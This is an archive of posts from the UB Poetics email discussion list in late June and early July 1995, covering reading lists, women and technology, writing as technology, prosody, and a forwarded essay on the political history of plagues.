is reason based on agreement, asks burt. don't know what reason is based on but, yes, agreement, correspondance, of a certain kind through, in, of time.

↑ Index

485. **M. Magoolaghan**
Re: fuzzy bedside reading logic
Fri 30 Jun 1995

Dear All,

Not sure what the point of this exercise is--seems kinda pretentious to me. But hey, I'm as pretentious as the next guy/gal, maybe moreso. So here's my contribution to the onerous summer reading list:

1) Richard Shusterman, _Pragmatist Aesthetics_, Blackwell 1992. Chap. 2 gives a concise history of the study of aesthetics that might be relevant to those involved with the thread on art & aesthetics a while back.

2) Hilary Putnam, _Realism with a Human Face_. Pragmatism in a non-Rortian/poststructuralist key.

3) Theodor Adorno, _Kierkegaard: Construction of the Aesthetic_, trans. & intro. by Robert Hullot-Kenter. Hullot-Kenter read a mind-blowing paper at BlaserFest '95 on the link between ethics & aesthetics. In view of the dominance of the market in shaping aethetic values and reception and the cancellation of the possibility of meaningful ethical reflection by pervasive multinational corporate capitalism, he asked, what's the point of beating this non-issue to death? Touche'.

4) Rod Smith's _The Boy_ & Jeff Derkson's _Dwell_ (poems).

5) Aerial 8 (fantastic issue) and Raddle Moon 13, special section on "Woman/Writing/Theory." And just in: Situation 9 (thanks Mark!).

6) Edgar O'Hara, _Cedazo Tan Chucaro_. Anyone else interested in this dynamite Peruvian poet?

7) Leslie Anne Boldt-Irons, _On Bataille: Critical Essays._

8) Don Byrd, _The Poetics of the Common Knowledge_. Indispensable wisdom.

9) Paul Fry, _A Defense of Poetry_. Possibly dispensable wisdom.

10) Robert Musil's _The Man without Qualities_. Where has this guy been all my life? A serious revelation. _Five Women_ (just finished) also amazing.

11) _The Guitar Handbook_. Oh, and if Hank Lazar can mention Coltrane as bedside reading, let me mention Mingus' _Ah hum_ and _Mingus Dynasty_, serious jazz for serious hepcats.

I read these simultaneously while standing on my head and composing violin sonatas using aleatoric methods derived from chaos theory. Pretentious enough for ya?

MM

^^^

↑ Index

488. Lisa Samuels
Re: women & tech
Fri 30 Jun 1995

---

for more 'women & tech', see at least some parts of
Donna J. Harraway, =Simians, Cyborgs, and Women. The
Reinvention of Nature=

ls

↑ Index

489. braman sandra
writing as technology
Fri 30 Jun 1995

Well, just to bring the circle of discussion around, it was Buckminster Fuller who first talked about writing as the first technology ....

S Braman

↑ Index

490. David Kellogg
malley affair
Fri 30 Jun 1995

Well of course I was wrong about Ashbery, it wasn't Kreymborg or even a modernist but *Geoffrey Hill*, and the story, including the full text of Ashbery's exam question, is told in The Ern Malley Affair pp. 233-4 (which book I just got from the library to accompany me to Quebec next week -- will be incommunicado, return the 8th.)

Cheers,
David
~~~
~~~

491. **Shaunanne Tangney**
Re: women & tech
Fri 30 Jun 1995

how about Elizabeth Gaskell's _North And South_

↑ Index

492. **maria damon**
Re: women & tech
Fri 30 Jun 1995

In message <[redacted]> UB
Poetics discussion group writes:
> how about Elizabeth Gaskell's _North And South_

or some stuff by constance penley. donna haraway's been mentioned. she's a goodie, too.

↑ Index

493. **Steve Carll**
Re: Fuzzy Logic Poetics
Fri 30 Jun 1995

> *yes, rhyme in its original and largest sense means agreement. is reason then based on agreement?*

Burt:

Blake thought so--that's why he was against it (it messed with his notion of visionary individualism). The scientific paradigm, that product of the Age of Reason, is basically an agreed-upon set of assumptions about the way the world works, which becomes the basis for all scientific work (Cf. Thomas S. Kuhn, _The Structure of Scientific Revolutions_.)

Steve

↑ Index

494. **Steve Carll**
Re: Fuzzy Logic Poetics
Fri 30 Jun 1995

> *Tony and David,*
> *I'm really enjoying these posts on the subject of exhaustability and its orbiting issues.*
> *I suppose, at some level, this discussion is propelled by how art plays in a disposable culture. Will the image, as a technological*

> *output, or is the image already viewed as disposable, less resonant than the word. Rather than driven by the inertia of art, it appears that we are driven by its dissipation behind us: art fuelled like Wile E. Coyote--driven because the bridge is collapsing behind him, not because there is something on the other side.*
>
> *Ryan*

And since Heidegger's name has been popping up lately, I'll throw this in:

"the poet also uses the word--not, however, like ordinary speakers and writers who have to use them up, but rather in such a way that the word only now becomes and remains truly a word" ("Origin of the Work of Art")

Tetsuaki Kotoh, interpreting this stance, writes that :

"As *Gerede* ["idle talk" or "chatter"], language...provides comfort and security by giving everything out as unmysterious and self-evident...[but at times] language as *Gerede* collapses and is no longer viable...when the meaning-relations of everyday language collapse as a whole, one is thrown into an incomprehensible chaos of phenomena without meaning...the world becomes disconnected from language and floats by itself...one is unable to speak...the moment of combustion is pure silence beyond where language is exhausted...there the primordial reality of the world, which cannot be reached by language, keeps silently boiling up...the language of the true self emerges from this silence."(in _Heidegger and Asian Thought_, U of Hawaii Press, 1987)

Steve

↑ Index

495. Steve Carll
Re: fuzzy bedside reading logic
Fri 30 Jun 1995

> *Dear All,*
>
> *Not sure what the point of this exercise is--seems kinda pretentious to me. But hey, I'm as pretentious as the next guy/gal, maybe moreso. So here's my contribution to the onerous summer reading list:*

So what is this exercise pretending to do that it's not in fact doing?

Just askin',
Steve

↑ Index

496. **Steve Carll**
Re: tech and aesthetics / how to teach?
Fri 30 Jun 1995

How about Italo Calvino's _Cosmicomics_?

Steve

↑ Index

497. **Ron Silliman**
Re: tech and aesthetics / how to teach?
Fri 30 Jun 1995

Chax wrote, rightly,

Have there been any suggestions of books by
>women other than Johanna Drucker? Wouldn't it be an exciting task to
>imagine and teach a course on twentieth century technology and aesthetics
>using only texts by women?
>
Somebody mentioned Avital Ronnell and I think Stein was also cited.

I would add Donna Haraway's _Simians, Cyborgs and Women_ (her "Manifesto for Cyborgs," included here, was first published in Socialist Review). Still the best single source on "pomo" topics there is.

Anything by Sandra Harding on feminism & science would also be of value, tho she is, by nature, a more "normative" academic author. Meaghan Morris (sp?) has done work on malls that would be good to juxtapose with Baudelaire & w/ Benjamin on Baudelaire. (and, generally, I don't agree that people have gone beyond Benjamin in writing on technology, with the possible exception of Haraway. Benjamin's work has brought forth an enormous amount of deritive drivel, attempts at a politicized MacLuhanism. But it's precisely how he is NOT a MacLuhan that is of interest.

I'd add Kathy Acker and several poets whose work shows up in discussion on this list.

There are real questions of genre that also enter into this discussion.

Just a thought,

Ron Silliman

↑ Index

498. **Burt Kimmelman**
Re: tech and aesthetics / how to teach?
Fri 30 Jun 1995

Maria,

I enthusiastically recommend for a solid intro. Walter Ong's book Orality and Literacy (re. alphabet as tech, etc.). I guess the alphabet is inevitably to be seen as a technology since it comes with writing. You might want to look at Hand's End by David Rothenberg who builds on Heidegger; R argues that language is a technology (I'm only half convinced and doubt I'll go the other half but who knows?).

Also I recommend Evelyn Fox Keller's books especially the earlier stuff though the later is more elaborated but more hastily written and thus for me not as satisfying a read. Also Marion Namenwirth's stuff. Both address women and science / women and technology mostly having to do with the way the cultures of science and tech work and showing how scientific knowledge is "skewed" by male perceptions. Very interesting and at times even exciting stuff.

Burt

↑ Index

499. **Burt Kimmelman**
Re: Fuzzy Logic Poetics
Fri 30 Jun 1995

Ed,

Reason is subcategory of rhyme out of Plato?

Burt

↑ Index

500. **Burt Kimmelman**
Re: tech and aesthetics / how to teach?
Fri 30 Jun 1995

Ed,

Okay on lunch and 18th century until Heisenberg, no?

Where you wanna eat and when?

Burt

PS Let's do backchannel?

↑ Index

501. **Burt Kimmelman**
Re: writing as technology
Fri 30 Jun 1995

Sandra,

where can I read more about Bucky and writing?

Burt

↑ Index

502. **maria damon**
boulder CO
Fri 30 Jun 1995

---

a few weeks ago i wrote in response to the question "what do you want to see happen on the list" that i wanted a community, a kindred spirit in every port. Now, i'm setting out on a road trip to boulder CO where I will spend at least a week, possibly two. any boulderites on the list I cd meet while i'm there? are there any listers who know of inexpensive places to stay for a coupla nights? i'm taking at least a week's worth of poetics classes at naropa, am anxious to keep my expenses down, and haven't yet been able to find lodgings (nobody answers their phones there it seems). i'm taking laptop and modem with, so please don't hesitate to post or back-channel me any time in the next week or so. thanks. i'm also suffering terrible performance anxiety about taking these workshops, since i did it in my early 20 in the late 70s and got a bit battered by some macho style criticism. as a "critic" primarily, i feel inadequate to the task of "producing" poetry --i'm not spontaneous enough, not hip enough, i'll be exposed as a fraud, etc....so, sorry everyone for this abjectionist slip, but that's where it's at tonight, june 30, 1995, as i stand on the brink of whatnext. blaser's going to be there next wk, hope to catch some of the afterglow of the blaserfest that's been on everyone's lips and fingertips of late.--maria

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

July 1995

780 messages · Sat 1 Jul 1995 – Mon 31 Jul 1995

July is merciless. A dome of heat settles over the American middle and, in Chicago alone, kills hundreds in their sealed rooms; across the ocean the town of Srebrenica falls, and a word that will take years to finish being spoken enters the record. The list, sheltering as always in prosody, spends the month on the oldest quarrel there is: what, if anything, is the unit of a line — and whether that curious animal, the free verse foot, can be said to exist at all.

H. T. Kirby-Smith, returning from May's aleatory campaign, plants his flag without apology: *"there can be a free verse foot,"* he insists — in fact there cannot not be one — and directs the doubtful simply to walk while they read and count the stresses under their soles. George Bowering, the month's inexhaustible presence with better than sixty posts to his name, contests the arithmetic of Olson's breath, and the two of them keep the metrical argument warm through the worst of the heat.

The teaching threads run in parallel, and turn out to be the same thread wearing a hat. Jorge Guitart offers, from years in the schools, that *"children who are naturally untrite"* come up with stupendous things, while Abby Coykendall ties together the two questions the list will not stop circling: the apparent mystery of *"whence writing comes"* and the apparent absurdity of teaching it from ignorance. Marx, she notes drily, comes in handy for both.

Then, on the twenty-fifth, Steven Shoemaker proposes the month's happiest experiment. Having been reading a Hiroshima poet in a little magazine, he wonders whether the renga — that ancient chained form in which collaborators take turns supplying lines — might be adapted to the wires, and asks, reasonably, *"where better than this list?"* Ron Silliman, maria damon, and a handful of others take up the turns, and the poem begins to travel from hand to hand across the continent.

And so the month that opened arguing about the line ends by quietly making one. When the collaborators pass their linked verses along the network, each answering the last, the list stops theorizing the unit of poetry and simply writes it, together — the truest reply July manages to its own long question. I have set the letters in order, hidden the addresses and the telephones behind their bars, and left the renga mid-flight, exactly as it was still being written.

— Kristen M. Fabians

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1. Charles Alexander

Re: tech and aesthetics / how to teach?

Sat 1 Jul 1995

Meow Press (Joel Kuszai's inventive imprint) has recently published, as a Meow Press Textbook, TECHNOLOGY/art: 20 Brief Proposals for Seminars on Art & Technology. These brief proposals were made in 1984 by a group of poets (Bruce Andrews, Charles Bernstein, and James Sherry), at the request of Jesse Ausubel, who was then Director of Programs at the National Academy of Engineering, to increase the dialogue between artists and scientists and engineers. It was this book which provoked my recent consideration of the alphabet as a technology.

But thanks for giving me credit, Maria. And the responses provoked of more ways to look at the art/technology nexus through the writings of a variety of women have been most welcome.

charles

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

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Re: writing as technology

Sat 1 Jul 1995

Burt -- It's been 15 years literally since I've been in the Fuller literature (I think I told the story publicly that doing the dictionary of his thinking was when I knew I should go to graduate school, and once I did I never went back). But it seems to me it's in the opening of SYNERGETICS. I frankly no longer have my own materials on hi8m -- only the books. Why not go through indexes for "writing" "alphabet" "paper" (seems to me he said something extremely interesting about the fact that everyone always ignored the surface, the paper, when they thoughht about writing). If you find anything, please share it!

Sandra Braman

Or, hey, post the question on the Buckminster Fuller list that I seem to have just joined out of curiosity.... want the address?

↑ Index

3. braman sandra
apology
Sat 1 Jul 1995

Poetics List -- Apologies. I don't know why I continue to do this, and some day I'm going to lose my job and/or life over really sending the wrong message to the wrong folks. I meant to send the long message only to Burt Kimmelman this time. Ouch. Sorry. Sandra B

↑ Index

4. Charles Alexander
Re: writing as technology
Sat 1 Jul 1995

Sandra Braman, thanks for the notion to look at B. Fuller for comments on the paper, the "surface" of writing. That appeals to me particularly as a bookmaker who seems to talk widely about the context of the text, in my case mostly about the physical contexts of representation. So, yes, I will find SYNERGETICS and look for remarks on paper. And, if you send the address of the fuller list, I may put a query there.

Are you still coming to Minneapolis this summer? Can we still get together?

all best,
charles

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

↑ Index

5. braman sandra
Fuller list
Sat 1 Jul 1995

The address for the Buckminster Fuller list, for those of you who've asked, should be familiar: [redacted].

It's the regular listserv rigamarole -- you write to listserv at buffalo, live subject line blank, in text say "subscribe geodesic firstname lastname".

Sandra Braman

↑ Index

6. Mark Wallace
readings in Washington, D.C.
Sat 1 Jul 1995

READINGS IN WASHINGTON, D.C.

We are trying to get our reading series for the fall (and possibly spring too) set here in D.C. If there's anyone coming through who is interested in a reading, please let me know, and I'll see what can be worked out. At this point we have no travel money, but can offer you a committed, only slightly delusional audience.

Mark Wallace

↑ Index

7. Edward Foster
Re: tech and aesthetics / how to teach?
Sat 1 Jul 1995

burt: how about lunch at this tech or yours opening invite to all and sundry in the area who want to discuss topic? i'm esp. interested in blake, heidegger, and their good friend thoth, but can even tolerate williams, briefly. -ed

↑ Index

8. Edward Foster
Re: writing as technology
Sat 1 Jul 1995

burt asks whether reason is "subcat. of rhyme out of Plato." no, even heraclitus privileges reason, tho not herodotus. horrible conclusive moment, methinks, wasvictory of church fathers (theology; i.e. reason) over gnostics (correspondance).

↑ Index

9. I.LIGHTMAN
some thoughts: will they rub one's rhubarb?
Sat 1 Jul 1995

The modernist focusses on her/his purity, ignoring others' responses, is loved as unreachable by non-experts eg non-poets for a modernist poet, non-musicians for a modernist musician, or found intense by fellow experts - and oneself by oneself by the same logic. But there is always the need for the "feminine" reader who can see how the freedom to have time to listen and read and create is endangered and must be fought for, as a social space (eg Harryman saying

she loves polemicists but can't herself be one as is too busy looking at all the whole picture, faux polite sarcasm?). You have an intense evening or year with Bach and feel the fullness not just of Bach as an object, but of the time he could/did steal to make so much art, of having all that time to appreciate it - like Joyce responded, it should take you a lifetime to read Ulysses, it took me a lifetime to write it - but then maybe it is easier to read something after its author's death, just because of all sorts of reasons, prime perhaps the socially required (it seems) need to tease the person who's really ahead while alive. You have that intense evening or year, then you say "it's human, albeit a brave human, who can feel like this; many more could if there were fewer frighteners put on people for them to have to be brave in defiance of"; and you stop making art and make utopia nearer. What kind of utopia, to not be a modernist yourself; to be modern, not postmodernist either. What Derrida's work does is place itself in this problem of wanting to, and being hugely sensitively able to, make or teach art and philosophy; and yet wanting to express this as forever deferred, while you get on with not becoming the freak who got through the frighteners, and is personally ok, but instead remind people that you aren't especially special, everyone's special, and there's too many frighteners.

Ira

↑ Index

10. I.LIGHTMAN

a request for poems from another list (forward)

Sat 1 Jul 1995

Hallo everyone,

I just got this questionnaire across the "modern-british-fiction" list - a request for poems that I thought might interest people on this list. If anyone wants to answer it, fill it in and send it to either [redacted], or [redacted]. There's been one respondee so far, offering a Fleur Adcock poem, one of her best in my own opinion but still I wonder if people on this list might be able to see less conventional poems included in the final research.

Ira

****

Message follows:

From: BRODIE MARGARET <[redacted]>
Organization: Glasgow University - Arts Faculty
To: [redacted]
Date sent: Tue, 27 Jun 1995 12:17:48 GMT
Subject: got a minute?

Priority: normal
Send reply to: [redacted]

Apologies for any cross posting.

Hello out there! I need a poem
Any possibility that you might know one
If you do and if you can
Send it to me by return;
So that I might reach my target
And complete my poetry project.

1. What is the title of your chosen poem? (Title only)
2. The poet's name and sex.
3. What is your name?
4. " " sex?
5. " " occupation?
6. " " residence ?(town/country only).

Thank-you for responding to my request.

0ptional questions :

1. Does the poem you chose have personal associations for you? If so please let me know.
2. What is your personal philosophy/tip for coping with the stress of life in the nineties.

Thanks for replying to my request.

↑ Index

11. I.LIGHTMAN

anyone know of any teaching work for a Brit?

Sat 1 Jul 1995

I'll keep this brief, and be ready to accept reprimand if this amounts to advertising outside the list's remit, but I'm *desperate" to get to North America, am just finishing a Ph.D, and can teach most lit periods, prosody/versification, critical theory, child abuse studies, gender theory, modernism/postmodernism...

Just in case anyone happens to be able to help...

Ira

↑ Index

12. George Bowering
Re: bedside reading
Sat 1 Jul 1995

Glad to be back in my bed after three weeks in Helsinki and St Petersburg (checking out Lyn Hejinian's take). Find still by my bed a recent _Review of Contemporary Fiction_ and, of course, George Stanley's _Opening Day_, which I have been reading in bed since it came out a few years ago. A book of poems anyone could benefit from rereading.

↑ Index

13. Burt Kimmelman
Re: tech and aesthetics / how to teach?
Sat 1 Jul 1995

ed, if this is an open invitation then maybe others would want to weigh in with their culinary or ambiencian desires. hoboken or newark--either is okay, though the food on the Stevens campus is i'm afraid almost as bad as at NJIT, but Rutgers across the street is satisfactory but is only open around the lunch hour. burt

↑ Index

14. beard
Geoffrey Hill/Modernism & PoMo in England
Sun 2 Jul 1995

I was intrigued when, in response to a mention of John Ashberry's exam question comparing an Ern Malley poem to that of a modernist, someone replied "it wasn't even a modernist, it was Geoffrey Hill". Is there a box into which Hill's poetry can be slotted? He doesn't seem exactly modernist to me (although Ira's remark that "The modernist focusses on her/his purity, ignoring others' responses" could be applied to him), and not postmodernist either.

This seems a general problem with English poets - the easy categorisation into a modernist/postmodernist tradition that appears less problematic when considering American poetry seems to break down for post-war English poetry (of course, this is a problem with the categorisation rather than with the poets). Although they followed modernism chronologically, would anyone categorise the Movement or Group poets as postmodern? It seems rather that they've taken the MacSpauday strand of modernism and developed a kind of anti-modernism, whereas the US took the Pound strand and turned it into what most would categorise as PoMo.

Perhaps postmodernism is an American/European phenomenon, and England (& hence the Commonwealth) has been left with a more traditional mainstream. In New Zealand, the boundaries are blurred a little by the fact that many 'amateur' poetry-lovers complain of the prevalence of what they see as postmodernism in the journals, when they're really talking of a kind of 'post-Manhirism' practised by Borholdt/Johnston/Wilkins/Orsman and so on. These poets seem to me to bear the same relationship to postmodernism as Auden or perhaps Larkin did to modernism - the experiments of an older generation have been absorbed and domesticated. Auckland poets such as Michele Leggott, Alan Loney and Wystan Curnow are perhaps closer to what people on this list would see as postmodernists, and the mainstream journals seem a little wary of their work (viz Jane Stafford's review of Leggott's _DIA_ and Murray Edmond's _The Switch_).

I'm not sure where this leaves me. I started writing poetry in Wellington, where Bill Manhire is seen as God, and I still have a tremendous admiration for much of his poetry, but moving to Auckland and joining this list have given me some idea of what LangPo and postmodernism have to offer. I still think it's best to read as widely as possible, not restricting oneself to one particular movement or genre. Leigh Davis, Edwin Morgan, Dinah Hawken, Craig Raine, Karl Stead, Cilla McQueen, Wallace Stevens, Dennis Lee, Ian Wedde and T.S. Eliot have all left their traces in me. I've never dared to try writing like Geoffrey Hill, but his writing moves me immensely. I hope that there will always be room for poets who span or fall between the boundaries.

Tom.

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

↑ Index

15. cris cheek

Lizard Talk (Longish)

Sun 2 Jul 1995

Hi, thought some might be intrigued by this: from the Chiapas list ..... The following text is part 1 of the sixth in a series of postings on cholera and the political economy of disease prepared in response to the present epidemic of cholera in Chiapas and Mexico. .....

LIZARD TALK
OR
TEN PLAGUES AND ANOTHER

An Historical Reprise in Celebration of the Anniversary of Boston
ACT UP
February 26, 1989

by
Peter Linebaugh

Midnight Notes, P.O.Box 204, Jamaica Plain, Massachusetts, 02130

INTRODUCTION

WELL, WELL, WELL. Happy Birth Day, ACT UP, and Many
Happy Returns of the Day!

The AIDS Coalition to Unleash Power has just begun to flex its muscles. We are all beginning to feel better in the reflection of your struggle against AIDS. Although you may sometimes feel like the little boy whose thumb in the dike is all that stands between the next breath and the deluge, your supporters gain courage by your example.

AIDS, like the pestilences before it, has been used as a principle of division -- division between genders, between the races, between the nations and the continents. But it has backfired, and the struggle against it brings us greater power than we knew, for we are beginning to understand that there is not a single question of struggle that is not involved in yours. The struggle against sex and racial discrimination, the struggle of workers at our places of employment, the struggle for civil liberties, the struggle for housing, the struggle to chose our own life-style, the expression of solidarity with those struggling in Africa, in Haiti, in the Philippines, and in Latin America, the struggle against medicine-for-profit, the struggle for education, the struggle for prisoners' rights, the struggle against identity papers, the struggle to sleep when, where, and with whomever, the struggle to retain some of the breakthroughs of the 1960s to create our own forms of sociality, the struggle against drug abuse, the struggle for gay liberation, the struggle for women's liberation, the struggle for the environment, the struggle for science for the people, the struggle for sex and the struggle for safe streets, have gained strength from your vigilance, creativity and staying power.

Here is a birthday present. It is a history of ten plagues. It contains warnings and danger signals. It shows us how far we have come. It is a collective present which could not have been written without the help of Michaela Brennan, Silvia Federici, George Caffentzis, Evan Stark, John Wilshire, Monty Neill, Nancy Kelly, Bettina Berch, Harry Cleaver, John Roosa, Kate Linebaugh, and all the

"whores, sluts and martyrs" who supped on minestrone last Friday beyond midnight.

So, as they say in San Francisco, "let us go gayly forward".

HIV made its active appearance in the late 1970s in the United States. At the same time, in Chicago, an economic theory was propagated ("monetarism") that organized poverty, famine, disease, and dislocation all over the world in the interests of the ruling classes whose corrupt desperation was personified by an aphasic actor, Ronald Reagan. Chicago also became a center noted for the adoption of free-market economic models to the interpretation of law (Stephan Possner) which ceased to pretend to justice and quantified instead the cost-benefit of life and death, and such jurists gained political ascendancy. Not long after, under the barking leadership of William Bennett, other dogs of the liberal arts joined the howling chorus for "Western Civilization". A Chicago historian, William McNeill, published PLAGUE AND PEOPLES in 1979, shortly before the AIDS pandemic appeared.

He takes a long view, indeed the longest view he can, beginning with "Man the Hunter" and placing "him" within a very deterministic ecology. He notes that our survival is contingent upon survival against micro parasites which inhabit our bodies (bacteria, viruses) and against macro parasites (ruling classes in their many mutations) who raid, enslave, exploit, tax, kill, and otherwise mess us up. Any kind of parasite is dependent upon its host, the HIV no less than a ruling class, and therefore it is in the interest of the parasite not to annihilate its host completely, as otherwise, the parasite too is dead. A balance, or stasis of some kind, must be accommodated. The host is permitted to live only to the extent that it works to produce a surplus for the parasite.

While McNeill does not prattle, as Hitler does in MEIN KAMPF, about "sacrifice for the race", or "ruthless measures for survival," he is at ease with that cool distance from events that permits him to speak of "Nature" and our "species." Susan Sontag warned against the metaphorical treatment of disease, and that is a danger McNeill has not resisted. He retains a lay person's knowledge of disease and a Chicago person's knowledge of ruling classes. He does not, for all the suggestion of a class analysis of plague and history, tell us about the lost history of our own communism. Nor does he know about the lizard.

1. LIZARD TALK IN ANCIENT EGYPT

"AIDS!" her lips curl about the syllable. "There is no such thing. It is a false disease invented by the American government to take advantage of the poor countries. The American president hates poor people, so now he makes up AIDS to take away the little we have." --Prostitute in Port-au-Prince, quoted in LIFE, August 1987.

What about the famous plagues of ancient Egypt? They provide an atavistic component to the whisperings and prayers of the bourgeoisie. They are the "fundamentals" of the Fundamentalists. Did not the Lord of Hosts, the wrathful Yahweh, sling down plague and pestilence to those who got in the way of the "Chosen People"? Listen to the voice of the chief physician of the Baptist Mission Hospital outside of Port-au-Prince (one-third of whose beds are unoccupied): "Fornication. It is Sodom and Gomorrah all over again, so what can you expect from these people?" (LIFE magazine, August 1987).

In Lutheran, in Calvinist, in Vatican, in Zionist ideological practice, these are the fool "fundamentals" dividing "darkest Africa" from the "glory that was Greece", the slave mode of production based upon the empire of irrigation (ancient Egypt) from the slave mode of production based upon the democracy of the city-state (ancient Greece), the ancient Third World from the ancient First World.

The plagues of the Old Testament took place in the 13th century B.C.E. They are the pestilences described in the Book of Exodus. But what is this book? It was composed at least three hundred years afterwards, during the reign of Solomon. It summarizes cultic recitation, song, and chronicle: or, the official myths of an ancient state, and must therefore be treated accordingly.

Zora Neale Hurston speaks of them as pan-African stories. The pestilences are exercises of the magical machismo of Moses, a man with a stick, a rod of power, a serpent god who leads slaves to freedom. He must fight the Egyptian oppressor and the Egyptian gods. The victory over Pharaoh is a victory of superior magic.

Moses throws down his stick, and it becomes a serpent. He dips it in the waters of the Nile, and the waters turn to blood. He stretches his staff over the streams, and frogs fall all over, even into ovens and kneading troughs. He strikes the dust on the ground, and maggots spring up everywhere on man and beast.

Flies, hailstorms, locusts, eclipses, pestilences, boils: Moses and his stick bring all of them, and Pharaoh's magicians are stumped at every turn. Thus does Yahweh defeat the frog goddess, the sun god, and the cattle deities.

Such serpent-and-stick power is a living power in Haiti and in Dahomey as Zora Neale Hurston discovered. How did Moses, the leader of slaves and outlaws (for these are the Egyptian meanings of the word "Hebrew") obtain his magic? He learned it from Pharaoh's stable boy, Mentu. Moses says to him, "I love you because you know all about the beginnings of things and you tell me about them. You tell me such nice lizard talk."

But Mentu did not give his knowledge for nothing. Moses brought him scraps from Pharaoh's kitchens. "Roast pork at Pharaoh's table meant boiled hog head for the help." With his new pupil Mentu could say, "I am eating further back on the hog now."

The class relations of magic-knowledge are made clear. It is concocted in kitchens and stables, exchanged for a price, and only then comes the familiar, ambiguous story of rebellion, massacre, and new kingdom. "'No more toting sand and mixing mortar! No more taking rocks and building things for Pharaoh! No more whipping and bloody backs! No more slaving from can't see in the morning to can't see at night! Free! Free! So free till I'm foolish.' They just sat with centuries in their eyes and cried."

Certainly, this is a version that only is possible after the liberation of the Afro-American, the historic person who straddles Christianity, Judaism, and Voodoo. The reading of the Egyptian pestilences supplied as a result of that experience is the opposite of Luther and Calvin, the gods of capitalism, whose Gospel was really "Work or be Hanged."

2. "WHAT THEY HAD FORMERLY DONE IN A CORNER ..."
"ANCIENT GREECE

Thucydides. Let us call him "Thuc." He belonged to the "glory that was Greece," and no wonder for he came from an aristocratic family. He was the manager of a gold mine on the frontier of the Athenian empire. He was a failed general and an exile of twenty years. We're supposed to study his book, THE PELOPONNESIAN WAR as part of "western civilization." OK. Let's have a look.

He praised maritime imperialism. He recounted the Athenian bid for Mediterranean hegemony. He lived in the transition to commodity production, and to the money-form of human creation. It is the transition from piracy to commerce (smile).

In methodology his book is no less revolutionary, as it departs from the magic of Moses. It is influenced by the sophist theories of disease propounded by Hippocrates: there is the observation of symptoms, the chronicling of the course, the identification of the crisis, and the analysis of causes.

↑ Index

16. George Bowering
Re: Sappho
Sun 2 Jul 1995

The Sappho transl. I was brought up on was Mary Barnard's. It was amusing way back then, to see WCW's Sappho transl. in _Paterson_ and see that Barnard had made a better one.

↑ Index

17. George Bowering
Re: breath rules
Sun 2 Jul 1995

The idea that Olson's idea was that you stop and breathe after each line is a little bricky. But you can or could see the lines if you heard him. I remember in 1963, "Maximus of Dogtown II" had not been in print, but Olson read it in Vancouver a couple times. Dan McLeod taped him, and then a month later sent a transcription of the tape to Olson, and it turned out that the transcription agreed with Olson's manuscript except for 3 times, which is pretty good for such a long poem!

↑ Index

18. George Bowering
Re: Fuzzy Logic Poetics
Sun 2 Jul 1995

George Stanley once explained the relationship between fuzzy logic
and poetry,
but I had so much beer in me that I couldnt understand the next
morning.
So I just read some of his poetry. That snapped me to!

↑ Index

19. Chris Stroffolino
Re: women & tech
Mon 3 Jul 1995

This has happened again---what I hoped would be at least an INTERESTING debate (or something) about "women and tech" has just turned once again into a "wow--books are great" thing---So, Lisa S. and Sandra B. have mentioned this issue and the (in)famous Haraway book (and Silliman says it's great)---but one may wonder if Haraway is actually empowering to women or not? It seems she just builds an elaborate thesis around what may perhaps be

an historical "accident"--that the increased number of women in the work-force or service industry (a phenomenon often attributed to "women's lib") happens to occur just as technology (computers, etc) is accelerating---thus, there's a cause effect relation, right? Sure, at least Haraway doesn't argue an "essentialist feminist" position and in this sense may seem to open up all kinds of possibilities--- BUT she does seem to erase class issues, issues of access, and posits some vague FUTOPIA that doesn't give a fuck about ecologic depletion and the rich getting richer---at least it seems so....chris s.

↑ Index

20. braman sandra

well, if we're going...

Mon 3 Jul 1995

Well, if we're going to get into it, Cris S, don't be essentialist in your reading of comments from women. I for one have never recommended Haraway -- you'll note the items I recommended were studies of the impact of specific information technologies historiclly on women, and vice versa. For where I stand on the question of cultural critiques of the impact of technology on society (and vice versa, again), see a review of Mark Poster's MODE OF INFORMATION in the JOURNAL OF COMMUNICATION a couple of years ago. And of course I should not be guilty of over-generalizing either. While Paul Virilio, for example, reads as quite abstract and metaphorical, in fact his insights into the nature of war are extremely useful in its analysis and in, again, impacts of the development of new information technologies on the theory and practice of war.

Sandra Braman

↑ Index

21. Carl Lynden Peters

Re: Fuzzy Logic Poetics

Mon 3 Jul 1995

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scientific american had a recent article (june/95) entitled "from complexity to perpelexity." it included some wide-ranging definitions of complexity. in this century, various scientists have thought they had found a theory that explained almost everything (but more than science is, of course, required to realize that project)

↑ Index

22. Ryan Knighton
Re: Fuzzy Logic Poetics
Mon 3 Jul 1995

George Stanley also thought "what fresh hell is this?" is a good title for a book of poems. He hadn't even left the bar, let alone tasted the hangover. There's fuzzy foresight.

↑ Index

23. Aldon L. Nielsen
Re: ReTurn of the Depressed
Mon 3 Jul 1995

The San Jose State computers have been up and down for weeks, but now appear to be up for real, or for virtue (and Lana Turner has again collapsed!) Unable to participate in the poetics list, I've returned to my bedside reading (though next time I think I'll actually get into the bed to read; knees get sore after hours spent at bedside).

Anyway, if anyone sent me mail again, send it again again. New e-mail address is [redacted]

Great collaboration between Joe Ross & Rod Smith in first issue of _Membrane_, new mag out of DC -- New piece by Joe coming from UPPER LIMIT MUSIC soon!

↑ Index

24. George Bowering
Re: Music, Sentimentality, and a discrete indiscreet BlaserCon comment
Mon 3 Jul 1995

Thanks to Herb Levy for making me think about why I loved Albert Ayler and thought Hole was a void. Maybe it is because when I first heard the Aylers I thought, gee, I havent heard this before and it makes me clear away the sludge of what a lot of jazz had got into during a long time of people trying other people's riffs. But when I heard Hole on , I think, Saturday Night Ugh, it seemed that I was hearing some people doing what I had heard other people doing. I remember hearing Grandmaster Flash for the first time, and sitting up as if I had a bullet against my eyebrow, but now I sit in a hotel room in Helsinki and watch a Finnish rap group step up and down with baseball hats on backward and chanted couplets and think why bother. It seems to me that when I am turned on by something in pop music, what I am hearing is something

different from its surround but shining with something back there in the what, tradition. That's why I do like, say, ZZ Top.

↑ Index

25. Tom Mandel
Re: bedside reading
Mon 3 Jul 1995

---

piles near the bed:

so many wonderful books of poetry by friends... this has been a 3 month knockout flowering whammo year for the art

Moscow Conceptualism, 1970-1990 (book upstairs, don't remember the author, alas)

Golf Digest - yes, Hank!

